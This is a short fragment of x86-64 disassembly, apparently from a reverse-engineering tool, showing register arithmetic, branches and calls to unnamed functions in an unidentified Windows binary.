mov ecx, ebp
sub ecx, eax
test r12d, r12d
je 0x7ff754b02ea5
sub r13d, r15d
mov r8d, r12d
mov edx, r13d
call fcn.7ff754af3e40
shl r15d, 0x10
mov edx, edi
mov ecx, r15d
mov ebx, eax
call fcn.7ff754af1990
add ebx, eax
jmp 0x7ff754b02eee
cmp eax, r12d
jge 0x7ff754b02ede
mov r15d, dword [rsp + 0x20]
mov edx, edi
mov ecx, ebx
call fcn.7ff754af1990
sub ebp, eax
sub r15d, esi
je 0x7ff754b02ede
sub r14d, r13d
mov r8d, r15d
mov edx, r14d
mov ecx, ebp
call fcn.7ff754af3e40
shl r13d, 0x10
mov edx, edi
mov ecx, r13d
mov ebx, eax
call fcn.7ff754af1990
add ebx, eax
jmp 0x7ff754b02eee
shl r14d, 0x10
mov ecx, r14d
mov edx, edi
call fcn.7ff754af1990
mov ebx, eax
mov edx, dword [rsp + 0x24]
mov ecx, ebx
mov r15, qword [rsp + 0x30]
mov r14, qword [rsp + 0x38]
mov r13, qword [rsp + 0x40]
mov r12, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x80]
add rsp, 0x50
pop rdi
pop rbp
pop rbx
jmp fcn.7ff754af1990